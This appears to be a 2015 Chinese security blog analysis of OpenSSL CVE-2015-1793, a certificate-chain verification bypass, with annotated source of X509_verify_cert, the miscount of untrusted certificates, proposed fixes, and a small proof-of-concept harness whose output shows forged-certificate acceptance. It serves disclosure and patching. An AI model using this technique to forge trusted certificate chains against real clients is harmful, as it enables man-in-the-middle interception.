07月12, 2015

OpenSSL-CVE-2015-1793漏洞分析

前言

OpenSSL官方在7月9日发布了编号为 CVE-2015-1793 的交叉证书验证绕过漏洞,其中主要影响了OpenSSL的1.0.1和1.0.2分支。1.0.0和0.9.8分支不受影响。

360安全研究员au2o3t对该漏洞进行了原理上的分析,确认是一个绕过交叉链类型证书验证的高危漏洞,可以让攻击者构造证书来绕过交叉验证,用来形成诸如“中间人”等形式的攻击。

1.漏洞基本原理

直接看最简单的利用方法(利用方法包括但不限于此):

攻击者从一公共可信的 CA (C)处签得一证书 X,并以此证书签发另一证书 V(含对X的交叉引用),那么攻击者发出的证书链 V, R (R为任意证书)对信任 C 的用户将是可信的。

显然用户对 V, R 链的验证会返回失败。

对不支持交叉链认证的老版本来说,验证过程将以失败结束。

对支持交叉认证的版本,则将会尝试构建交叉链 V, X, C,并继续进行验证。

虽然 V, X, C 链能通过可信认证,但会因 X 的用法不包括 CA 而导致验证失败。

但在 openssl-1.0.2c 版本,因在对交叉链的处理中,对最后一个不可信证书位置计数的错误,导致本应对 V, X 记为不可信并验证,错记为了仅对 V 做验证,而没有验证攻击者的证书 X,返回验证成功。

2.具体漏洞分析

漏洞代码位于文件:openssl-1.0.2c/crypto/x509/x509_vfy.c

函数:X509_verify_cert() 中

第 392 行:“ctx->last_untrusted–;”

对问题函数 X509_verify_cert 的简单分析:

( 为方便阅读,仅保留与证书验证强相关的代码,去掉了诸如变量定义、错误处理、资源释放等非主要代码)

问题在于由 <1> 处加入颁发者时及 <2> 处验证(颁发者)后,证书链计数增加,但 最后一个不可信证书位置计数 并未增加,

而在 <4> 处去除过程中 最后一个不可信证书位置计数 额外减少了,导致后面验证过程中少验。

(上述 V, X, C 链中应验 V, X 但少验了 X)

代码分析如下,


int X509_verify_cert(X509_STORE_CTX *ctx)
{

  // 将 ctx->cert 做为不信任证书压入需验证链 ctx->chain
  // STACK_OF(X509) *chain 将被构造为证书链,并最终送到 internal_verify() 中去验证
  sk_X509_push(ctx->chain,ctx->cert);

  // 当前链长度(==1)
  num = sk_X509_num(ctx->chain);

  // 取出第 num 个证书
  x = sk_X509_value(ctx->chain, num - 1);

  // 存在不信任链则复制之
  if (ctx->untrusted != NULL && (sktmp = sk_X509_dup(ctx->untrusted)) == NULL) {

    X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
    goto end;
  }

  // 预设定的最大链深度(100)
  depth = param->depth;

  // 构造需验证证书链
  for (;;) {

    // 超长退出
    if (depth < num)
      break;

    // 遇自签退出(链顶)
    if (cert_self_signed(x))
      break;

    if (ctx->untrusted != NULL) {
      xtmp = find_issuer(ctx, sktmp, x);

      // 当前证书为不信任颁发者(应需CA标志)颁发
      if (xtmp != NULL) {

        // 则加入需验证链
        if (!sk_X509_push(ctx->chain, xtmp)) {

          X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);

          goto end;

        }

        CRYPTO_add(&xtmp->references, 1, CRYPTO_LOCK_X509);

        (void)sk_X509_delete_ptr(sktmp, xtmp);

        // 最后一个不可信证书位置计数 自增1
        ctx->last_untrusted++;

        x = xtmp;
        num++;
        continue;
      }
    }

    break;
  }

  do {

    i = sk_X509_num(ctx->chain);
    x = sk_X509_value(ctx->chain, i - 1);

    // 若最顶证书是自签的
    if (cert_self_signed(x)) {

      // 若需验证链长度 == 1
      if (sk_X509_num(ctx->chain) == 1) {

        // 在可信链中查找其颁发者(找自己)
        ok = ctx->get_issuer(&xtmp, ctx, x);

        // 没找到或不是相同证书
        if ((ok <= 0) || X509_cmp(x, xtmp)) {

          ctx->error = X509_V_ERR_DEPTH_ZERO_SELF_SIGNED_CERT;
          ctx->current_cert = x;
          ctx->error_depth = i - 1;

          if (ok == 1)
            X509_free(xtmp);

          bad_chain = 1;
          ok = cb(0, ctx);

          if (!ok)
            goto end;

        // 找到
        } else {

          X509_free(x);
          x = xtmp;

          // 入到可信链
          (void)sk_X509_set(ctx->chain, i - 1, x);

          // 最后一个不可信证书位置计数 置0
          ctx->last_untrusted = 0;
        }

      // 最顶为自签证书 且 证书链长度>1
      } else {

        // 弹出
        chain_ss = sk_X509_pop(ctx->chain);

        // 最后一个不可信证书位置计数 自减
        ctx->last_untrusted--;

        num--;
        j--;

        // 保持指向当前最顶证书
        x = sk_X509_value(ctx->chain, num - 1);
      }
    }

    // <1>
    // 继续构造证书链(加入颁发者)
    for (;;) {

      // 自签退出
      if (cert_self_signed(x))
        break;

      // 在可信链中查找其颁发者
      ok = ctx->get_issuer(&xtmp, ctx, x);

      // 出错
      if (ok < 0)
        return ok;

      // 没找到
      if (ok == 0)
        break;

      x = xtmp;

      // 将不可信证书的颁发者(证书)加入需验证证书链
      if (!sk_X509_push(ctx->chain, x)) {
        X509_free(xtmp);
        X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
        return 0;
      }
      num++;
    }

    // <2>
    // 验证 for(;;) 中加入的颁发者链
    i = check_trust(ctx);

    if (i == X509_TRUST_REJECTED)
      goto end;

    retry = 0;

    // <3>
    // 检查交叉链
    if (i != X509_TRUST_TRUSTED 
      && !(ctx->param->flags & X509_V_FLAG_TRUSTED_FIRST)
      && !(ctx->param->flags & X509_V_FLAG_NO_ALT_CHAINS)) {

      while (j-- > 1) {
        xtmp2 = sk_X509_value(ctx->chain, j - 1);

        // 其实得到一个“看似合理”的证书就返回,这里实际上仅仅根据 CN域 查找颁发者
        ok = ctx->get_issuer(&xtmp, ctx, xtmp2);

        if (ok < 0)
          goto end;

        // 存在交叉链
        if (ok > 0) {

          X509_free(xtmp);

          // 去除交叉链以上部分
          while (num > j) {
            xtmp = sk_X509_pop(ctx->chain);
            X509_free(xtmp);
            num--;

            // <4>
            // 问题所在
            ctx->last_untrusted--;
          }

          // <5>
          retry = 1;
          break;
        }
      }
    }
  } while (retry);
  ……
}

官方的解决方法是在 <5> 处重新计算 最后一个不可信证书位置计数 的值为链长:

ctx->last_untrusted = sk_X509_num(ctx->chain);

并去掉 <4> 处的 最后一个不可信证书位置计数 自减运算(其实去不去掉都无所谓)。

另一个解决办法可以是在 <1> <2> 后,在 <3> 处重置 最后一个不可信证书位置计数,加一行:

_ctx->last_untrusted = num;_

这样 <4> 处不用删除,而逻辑也是合理并前后一致的。

3.漏洞验证

笔者修改了部分代码并做了个Poc 。

修改代码:


int X509_verify_cert( X509_STORE_CTX *ctx )

{
    X509 *x, *xtmp, *xtmp2, *chain_ss = NULL;

    int bad_chain = 0;

    X509_VERIFY_PARAM *param = ctx->param;

    int depth, i, ok = 0;

    int num, j, retry;

    int (*cb)( int xok, X509_STORE_CTX *xctx );

    STACK_OF( X509 ) * sktmp = NULL;

    if ( ctx->cert == NULL )
    {
        X509err( X509_F_X509_VERIFY_CERT, X509_R_NO_CERT_SET_FOR_US_TO_VERIFY );

        return(-1);
    }

    cb = ctx->verify_cb;


/*
 *
 * first we make sure the chain we are going to build is present and that
 *
 * the first entry is in place
 *
 */

    if ( ctx->chain == NULL )
    {
        if ( ( (ctx->chain = sk_X509_new_null() ) == NULL) ||

             (!sk_X509_push( ctx->chain, ctx->cert ) ) )
        {
            X509err( X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE );

            goto end;
        }

        CRYPTO_add( &ctx->cert->references, 1, CRYPTO_LOCK_X509 );

        ctx->last_untrusted = 1;
    }

/* We use a temporary STACK so we can chop and hack at it */

    if ( ctx->untrusted != NULL

         && (sktmp = sk_X509_dup( ctx->untrusted ) ) == NULL )
    {
        X509err( X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE );

        goto end;
    }

    num = sk_X509_num( ctx->chain );

    x = sk_X509_value( ctx->chain, num - 1 );

    depth = param->depth;

    for (;; )
    {
/* If we have enough, we break */

        if ( depth < num )

            break;  /* FIXME: If this happens, we should take
                         *
                         * note of it and, if appropriate, use the
                         *
                         * X509_V_ERR_CERT_CHAIN_TOO_LONG error code
                         *
                         * later. */

/* If we are self signed, we break */

        if ( cert_self_signed( x ) )

            break;


/*
 *
 * If asked see if we can find issuer in trusted store first
 *
 */

        if ( ctx->param->flags & X509_V_FLAG_TRUSTED_FIRST )
        {
            ok = ctx->get_issuer( &xtmp, ctx, x );

            if ( ok < 0 )

                return(ok);


/*
 *
 * If successful for now free up cert so it will be picked up
 *
 * again later.
 *
 */

            if ( ok > 0 )
            {
                X509_free( xtmp );

                break;
            }
        }

/* If we were passed a cert chain, use it first */

        if ( ctx->untrusted != NULL )
        {
            xtmp = find_issuer( ctx, sktmp, x );

            if ( xtmp != NULL )
            {
                if ( !sk_X509_push( ctx->chain, xtmp ) )
                {
                    X509err( X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE );

                    goto end;
                }

                CRYPTO_add( &xtmp->references, 1, CRYPTO_LOCK_X509 );

                (void) sk_X509_delete_ptr( sktmp, xtmp );

                ctx->last_untrusted++;

                x = xtmp;

                num++;


/*
 *
 * reparse the full chain for the next one
 *
 */

                continue;
            }
        }

        break;
    }

/* Remember how many untrusted certs we have */

    j = num;


/*
 *
 * at this point, chain should contain a list of untrusted certificates.
 *
 * We now need to add at least one trusted one, if possible, otherwise we
 *
 * complain.
 *
 */

    do
    {
/*
 *
 * Examine last certificate in chain and see if it is self signed.
 *
 */

        i = sk_X509_num( ctx->chain );

        x = sk_X509_value( ctx->chain, i - 1 );

        if ( cert_self_signed( x ) )
        {
/* we have a self signed certificate */

            if ( sk_X509_num( ctx->chain ) == 1 )
            {
/*
 *
 * We have a single self signed certificate: see if we can
 *
 * find it in the store. We must have an exact match to avoid
 *
 * possible impersonation.
 *
 */

                ok = ctx->get_issuer( &xtmp, ctx, x );

                if ( (ok <= 0) || X509_cmp( x, xtmp ) )
                {
                    ctx->error = X509_V_ERR_DEPTH_ZERO_SELF_SIGNED_CERT;

                    ctx->current_cert = x;

                    ctx->error_depth = i - 1;

                    if ( ok == 1 )

                        X509_free( xtmp );

                    bad_chain = 1;

                    ok = cb( 0, ctx );

                    if ( !ok )

                        goto end;
                } else {
/*
 *
 * We have a match: replace certificate with store
 *
 * version so we get any trust settings.
 *
 */

                    X509_free( x );

                    x = xtmp;

                    (void) sk_X509_set( ctx->chain, i - 1, x );

                    ctx->last_untrusted = 0;
                }
            } else {
/*
 *
 * extract and save self signed certificate for later use
 *
 */

                chain_ss = sk_X509_pop( ctx->chain );

                ctx->last_untrusted--;

                num--;

                j--;

                x = sk_X509_value( ctx->chain, num - 1 );
            }
        }

/* We now lookup certs from the certificate store */

        for (;; )
        {
/* If we have enough, we break */

            if ( depth < num )

                break;

/* If we are self signed, we break */

            if ( cert_self_signed( x ) )

                break;

            ok = ctx->get_issuer( &xtmp, ctx, x );

            if ( ok < 0 )

                return(ok);

            if ( ok == 0 )

                break;

            x = xtmp;

            if ( !sk_X509_push( ctx->chain, x ) )
            {
                X509_free( xtmp );

                X509err( X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE );

                return(0);
            }

            num++;
        }

/* we now have our chain, lets check it... */

        i = check_trust( ctx );

/* If explicitly rejected error */

        if ( i == X509_TRUST_REJECTED )

            goto end;


/*
 *
 * If it's not explicitly trusted then check if there is an alternative
 *
 * chain that could be used. We only do this if we haven't already
 *
 * checked via TRUSTED_FIRST and the user hasn't switched off alternate
 *
 * chain checking
 *
 */

        retry = 0;

/* <1> */

/* ctx->last_untrusted = num; */

        if ( i != X509_TRUST_TRUSTED

             && !(ctx->param->flags & X509_V_FLAG_TRUSTED_FIRST)

             && !(ctx->param->flags & X509_V_FLAG_NO_ALT_CHAINS) )
        {
            while ( j-- > 1 )
            {
                xtmp2 = sk_X509_value( ctx->chain, j - 1 );

                ok = ctx->get_issuer( &xtmp, ctx, xtmp2 );

                if ( ok < 0 )

                    goto end;

/* Check if we found an alternate chain */

                if ( ok > 0 )
                {
/*
 *
 * Free up the found cert we'll add it again later
 *
 */

                    X509_free( xtmp );


/*
 *
 * Dump all the certs above this point - we've found an
 *
 * alternate chain
 *
 */

                    while ( num > j )
                    {
                        xtmp = sk_X509_pop( ctx->chain );

                        X509_free( xtmp );

                        num--;

                        ctx->last_untrusted--;
                    }

                    retry = 1;

                    break;
                }
            }
        }
    }
    while ( retry );

    printf( " num=%d, real-num=%d\n", ctx->last_untrusted, sk_X509_num( ctx->chain ) );


/*
 *
 * If not explicitly trusted then indicate error unless it's a single
 *
 * self signed certificate in which case we've indicated an error already
 *
 * and set bad_chain == 1
 *
 */

    if ( i != X509_TRUST_TRUSTED && !bad_chain )
    {
        if ( (chain_ss == NULL) || !ctx->check_issued( ctx, x, chain_ss ) )
        {
            if ( ctx->last_untrusted >= num )

                ctx->error = X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT_LOCALLY;

            else

                ctx->error = X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT;

            ctx->current_cert = x;
        } else {
            sk_X509_push( ctx->chain, chain_ss );

            num++;

            ctx->last_untrusted = num;

            ctx->current_cert = chain_ss;

            ctx->error = X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN;

            chain_ss = NULL;
        }

        ctx->error_depth = num - 1;

        bad_chain = 1;

        ok = cb( 0, ctx );

        if ( !ok )

            goto end;
    }

    printf( "flag=1\n" );

/* We have the chain complete: now we need to check its purpose */

    ok = check_chain_extensions( ctx );

    if ( !ok )

        goto end;

    printf( "flag=2\n" );

/* Check name constraints */

    ok = check_name_constraints( ctx );

    if ( !ok )

        goto end;

    printf( "flag=3\n" );

    ok = check_id( ctx );

    if ( !ok )

        goto end;

    printf( "flag=4\n" );

/* We may as well copy down any DSA parameters that are required */

    X509_get_pubkey_parameters( NULL, ctx->chain );


/*
 *
 * Check revocation status: we do this after copying parameters because
 *
 * they may be needed for CRL signature verification.
 *
 */

    ok = ctx->check_revocation( ctx );

    if ( !ok )

        goto end;

    printf( "flag=5\n" );

    i = X509_chain_check_suiteb( &ctx->error_depth, NULL, ctx->chain,

                     ctx->param->flags );

    if ( i != X509_V_OK )
    {
        ctx->error = i;

        ctx->current_cert = sk_X509_value( ctx->chain, ctx->error_depth );

        ok = cb( 0, ctx );

        if ( !ok )

            goto end;
    }

    printf( "flag=6\n" );

/* At this point, we have a chain and need to verify it */

    if ( ctx->verify != NULL )

        ok = ctx->verify( ctx );

    else

        ok = internal_verify( ctx );

    if ( !ok )

        goto end;

    printf( "flag=7\n" );

#ifndef OPENSSL_NO_RFC3779

/* RFC 3779 path validation, now that CRL check has been done */

    ok = v3_asid_validate_path( ctx );

    if ( !ok )

        goto end;

    ok = v3_addr_validate_path( ctx );

    if ( !ok )

        goto end;

#endif

    printf( "flag=8\n" );

/* If we get this far evaluate policies */

    if ( !bad_chain && (ctx->param->flags & X509_V_FLAG_POLICY_CHECK) )

        ok = ctx->check_policy( ctx );

    if ( !ok )

        goto end;

    if ( 0 )
    {
end:

        X509_get_pubkey_parameters( NULL, ctx->chain );
    }

    if ( sktmp != NULL )

        sk_X509_free( sktmp );

    if ( chain_ss != NULL )

        X509_free( chain_ss );

    printf( "ok=%d\n", ok );

    return(ok);
}

Poc:

/*  */

/* 里头的证书文件自己去找一个,这个不提供了 */

/*  */

#include <stdio.h>

#include <openssl/crypto.h>

#include <openssl/bio.h>

#include <openssl/x509.h>

#include <openssl/pem.h>

STACK_OF( X509 ) * load_certs_from_file( const char *file )

{
    STACK_OF( X509 ) * certs;

    BIO *bio;

    X509 *x;

    bio = BIO_new_file( file, "r" );

    certs = sk_X509_new_null();

    do

    {
        x = PEM_read_bio_X509( bio, NULL, 0, NULL );

        sk_X509_push( certs, x );
    }
    while ( x != NULL );

    return(certs);
}

void test( void )

{
    X509 *x = NULL;

    STACK_OF( X509 ) * untrusted = NULL;

    BIO *bio = NULL;

    X509_STORE_CTX *sctx = NULL;

    X509_STORE *store = NULL;

    X509_LOOKUP *lookup = NULL;

    store = X509_STORE_new();

    lookup = X509_STORE_add_lookup( store, X509_LOOKUP_file() );

    X509_LOOKUP_load_file( lookup, "roots.pem", X509_FILETYPE_PEM );

    untrusted = load_certs_from_file( "untrusted.pem" );

    bio = BIO_new_file( "bad.pem", "r" );

    x = PEM_read_bio_X509( bio, NULL, 0, NULL );

    sctx = X509_STORE_CTX_new();

    X509_STORE_CTX_init( sctx, store, x, untrusted );

    X509_verify_cert( sctx );
}


int main( void )

{
    test();

    return(0);
}

将代码中 X509_verify_cert() 函数加入输出信息如下:

编译,以伪造证书测试,程序输出信息为:

num=1, real-num=3

flag=1

flag=2

flag=3

flag=4

flag=5

flag=6

flag=7

flag=8

ok=1

认证成功

将 <1> 处注释代码去掉,编译,再以伪造证书测试,程序输出信息为:

num=3, real-num=3

flag=1

ok=0

认证失败

4.安全建议

建议使用受影响版本(OpenSSL 1.0.2b/1.0.2c 和 OpenSSL 1.0.1n/1.0.1o)的 产品或代码升级OpenSSL到最新版本

本文链接:http://blogs.360.cn/post/openssl-cve-2015-1793漏洞分析.html

-- EOF --

Comments